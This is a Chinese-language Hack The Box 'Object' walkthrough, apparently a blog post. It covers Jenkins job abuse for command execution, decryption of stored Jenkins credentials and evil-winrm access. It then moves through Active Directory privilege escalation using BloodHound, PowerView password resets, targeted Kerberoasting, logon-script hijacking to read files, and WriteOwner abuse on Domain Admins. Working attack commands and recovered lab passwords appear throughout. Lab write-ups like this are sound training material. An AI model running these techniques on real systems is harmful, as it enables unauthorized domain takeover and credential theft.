HTB-object

端口扫描

将object.htb加入/host文件

来到80

进行目录爆破

fuzz一下子域名

wfuzz -u http://object.htb -H 'Host: FUZZ.object.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 29932

jenkins渗透

访问 http://object.htb:8080 会重定向到 http://object.htb:8080/login?from=%2F ,这是 Jenkins 的登录表单:

尝试了一下没有登入绕过的方法

建一个帐户。填写表格后,我已登录

版本Jenkins 2.317,点击the top page会进入

“People”显示只有我和管理员拥有帐户

单击我自己(或从右上角“注销”旁边的链接)将转到有关我的用户的部分

在“配置”下,有一个包含 API 令牌的菜单

尝试访问/manage但是没有权限

可以尝试访问/manage(Jenkins Add User - How to add and manage user permissions in Jenkins?) 但是没权限

又找到一篇文章,试试访问/script 也没权限

Lab of a Penetration Tester: Hacking Jenkins Servers With No Password - Powershell fun

这篇文章是别人试的提全in windows不过不适用于该台靶机

来到

创建一个freestyle

在选项里选择这个

写入cmd /c whoami 但是没反应

方法1(时间)

在选项中,选择构建触发器里面的build periodically

“定期构建”似乎很有希望。我将选中该框,它会提供一个空文本字段。Jenkins 使用类似于 cron 的调度系统。我将输入“* * * * *”,它警告我这将每分钟运行一次:

保存并在一分钟后刷新页面,历史记录中有一个构建:

图片-20220227065719113

点击后“控制台输出”显示作业已运行:

方法二:远程触发

运行不同的命令,每个命令之间等待一分钟有点累人。我将禁用预定的触发器。看看“构建触发器”的其他选项,“触发器远程构建(例如,从脚本)”似乎很有趣。检查它会扩展要求“身份验证令牌”:

图片-20220227113123491

我可以尝试仅添加一个字符串作为令牌(例如“TestToken”)并请求他们提供的端点,但它不起作用:

oxdf@hacky$ curl "http://object.htb:8080/job/0xdf's%20job/build?token=TestToken"
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken'/><script>window.location.replace('/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken');</script></head><body style='background-color:white; color:white;'>
​
​
Authentication required
<!--
-->
​
</body></html>    

在枚举过程中,我发现可以在个人资料中创建 API 令牌。我将前往那里并单击“添加新令牌”:

图片-20220227113733612

我将为其命名0xdfToken并单击“生成”:

图片-20220227113810458

我还将使用该作业更新批处理脚本,以便清楚地了解它触发的原因:

图片-20220227124131900

这篇文章展示了如何实际触发该作业。我需要使用表单的 url:

http://[username]:[token]@[host]/job/[job name]/build?token=[token name]

所以对我来说,那就是:

oxdf@hacky$ curl "http://0xdf:1176e6f7ba9fdf90c7ec7dba8c413cda89@object.htb:8080/job/0xdf's%20job/build?token=0xdfToken"

服务器没有响应,但作业触发,片刻之后控制台输出:

图片-20220227124212845

尝试下载nc64反弹shell

但无法连接到该端口

端口改为 9001,但仍然无法连接

可能是防火墙配置为不允许任何出站流量,因此我们可以使用 powershell 的 cmdletGet-NetFirewallRule列出防火墙规则,并且需要检查出站流量

cmd.exe /c powershell.exe -c Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound

防护墙阻拦反弹shell,找账号密码

我们无法获得反向 shell,因为流量不会出去,接下来我们可以做的是查看 jenkins 在哪里存储密码或如何存储密码

How to reset the user/password of Jenkins on Windows? - Stack Overflow

还有一种就是查看之前的控制台返回,很明显作业是从C:\Users\oliver\AppData\Local\Jenkins.jenkins\workspace\你创建的's job

解密(需要3个文件)

Google 上出现的大多数参考文献(如本参考文献)都展示了如何通过脚本控制台 ( /script ) 执行此操作,但无权访问它。

Github 上发现了两个存储库,其中包含解密 Jenkins 上存储的用户密码的方法。这个是用 Go 编写的,并且有大量用于渗透测试 Jenkins 的 Python 脚本。

https://github.com/hoto/jenkins-credentials-decryptor

他需要credentials.xmlmaster.key和hudson.util.Secret

来到上面goole找到的目录

但是少了 credentials.xml 文件

接着枚举

查看一下并将其base64编码(因为直接查看他们是16进制的看起来)

或者利用poershell

>powershell -c [convert]::ToBase64String((cat ....\secrets\hudson.util.Secret -Encoding byte))

将他们复制到本地,并且解密到文件

将github的项目下载

./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml

获得oliver:c1cdfun_d2434

因为 winrm 在机器上是打开的,我们可以用这个密码来访问 oliver 用户,然后获取机器上的 shell

evil-winrm -i 10.10.11.132 -u oliver -p c1cdfun_d2434

提权

枚举一下

Oliver 的主目录中没有太多其他内容。还有另外两个具有主目录的非管理员用户:maria 和 smith:

查看监听端口,有很多无法从外部访问的端口:

netstat -an | findstr LISTENING 看着像是域控主机

利用bloodhound

upload SharpHound.ps1

. .\SharpHound.ps1

Invoke-BloodHound -CollectionMethod All

download C:\programdata\20220227174044_BloodHound.zip 20220227174044_BloodHound.zip

加载

将找到 oliver 并将该用户标记为已拥有。首先要查看的是“Outbound Control Rights”,其中显示 oliver 对 smith 拥有 ForceChangePassword 权。

对 smith 执行相同的操作,显示用户对 maria 拥有 GenericWrite 权限,并且 maria 对域管理员拥有 WriteOwner 权限。

选择Find Shortest Paths to Domain Admins

修改密码smith

bloodhound上提示用powershell就可以

upload PowerView.ps1

. .\PowerView.ps1

$newpass = ConvertTo-SecureString 'FOfokiki!' -AsPlainText -Force

Set-DomainUserPassword -Identity smith -AccountPassword $newpass

smith 是远程管理用户的成员:

evil-winrm -i 10.10.11.132 -u smith -p 'FOfokiki!'

GenericWrite获得Maria

试错(添加spn利用powerview使用Kerberoast,用powershell改密码)

BloodHound 中 GenericWrite 的帮助说:

A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket. 可以使用 PowerView 的 Set-DomainObject 和 Get-DomainSPNTicket 来执行有针对性的 kerberoast 攻击。

向 maria 的帐户添加 SPN:

Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/FOFO'}

Get-DomainUser maria | Select serviceprinciplename 可以看到票据

使用kerberoast 时它不起作用

是因为我们的spn格式有无

setspn -a MSSQLSvc/object.local:1433 object.local\maria

验证 Get-DomainUser maria | Select serviceprincipalname

{object.local/maria.object.local:1337, nonexistent/FOFO}

在Kerberoast,需要使用具有有效格式的 SPN

PowerViewGet-DomainSPNTicket 到用于Kerberoast

Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433"

Warning: [Get-DomainSPNTicket] Error requesting ticket for SPN 'MSSQLSvc/object.local:1433' from user 'UNKNOWN' : Exception calling ".ctor" with "1" argument(s): "The NetworkCredentials provided were unable to c reate a Kerberos credential, see inner exception for details."

该错误消息是关于凭据无效的。我将创建一个凭证对象:

$pass = ConvertTo-SecureString 'FOFOkiki!' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass)

Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred

但是得到的hash破解不了

试试修改密码也不行

$newpass = ConvertTo-SecureString 'FOFkiki!' -AsPlainText -Force

Set-DomainUserPassword -Identity maria -AccountPassword $newpass

登录脚本(powershell设置登入脚本)

对用户使用 GenericWrite 来更新他们的登录脚本。该脚本将在用户下次登录时运行

编写一个脚本来 ping 我的主机,记住之前的防火墙枚举,ICMP 是允许出站的少数事物之一

echo "ping 10.10.14.6" > ping.ps1

Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\ping.ps1"}

监听数据包

sudo tcpdump -ni tun0 icmp

收到了ping

由于防火墙的原因我无法连接回来,所以我会将脚本放入登录中,将结果写入我可以读取的位置。例如:

echo "ls \users\maria\ > \programdata\out" > cmd.ps1

Set-DomainObject -Identity maria -SET @{scriptpath="C:\programdata\cmd.ps1"}

在programdata目录 type out 读取验证一下,文件里面 DocumentsDesktop 文件夹的时间戳与其他文件夹不同,值得查看一下

echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1

Evil-WinRM PS C:\programdata> ls out *

Evil-WinRM PS C:\programdata> type out2

只有一个xls文件

复制下载来看看

echo "copy \users\maria\desktop\Engines.xls \programdata" > cmd.ps1

download C:\programdata\Engines.xls Engines.xls

里面有账号密码

crackmapexec winrm 10.10.11.132 -u maria -p maria-pass

evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'

获得管理员(WriteOwner权限可以授予域组全部权限)

maria 在域管理员组中拥有 WriteOwner 。从BloodHound的帮助来看,这意味着maria可以更改群组的所有者。

导入 PowerView.ps

将 maria 指定为该组的所有者:

Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

对maria授予改组全部权限

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

验证

net user maria

maria 现在可以读取 root.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值